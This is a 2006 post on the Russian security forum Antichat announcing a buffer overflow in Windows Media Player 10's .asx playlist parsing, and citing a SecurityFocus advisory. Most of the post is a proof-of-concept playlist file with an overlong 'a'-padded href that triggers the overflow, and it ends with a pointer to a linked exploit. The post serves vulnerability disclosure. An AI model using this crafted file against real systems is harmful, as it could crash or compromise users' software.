Форум АНТИЧАТ - Переполнение буфера Windows Media Player (buffer overflow)

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Переполнение буфера Windows Media Player (buffer overflow)

24.11.2006, 16:59

-=lebed=-

Флудер

Регистрация: 21.06.2006

Сообщений: 3,193

Провел на форуме:
12702287

Репутация: 4738

Переполнение буфера Windows Media Player (buffer overflow)

22 Ноября 2006 Обнародована уязвимость в обработке плейлистов asx виндоузмедиаплеером.

Протестировано :
Windows Media 10.00.00.4036 - версия проигрывателя
Windows XP SP2 - версия системы

содержимое файла *.asx:

<asx><entry>
<ref
href="aa:
/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaa.mp3"/>
</entry></asx>

Источник: (http://www.securityfocus.com/archive/1/452352/30/0/threaded)
Пример эксплоита (без контоля компонентов по ссылке не ходить Х.е.З чем заряжен)
P.S. Пробелы исключить естественно

Последний раз редактировалось -=lebed=-; 24.11.2006 в 19:06..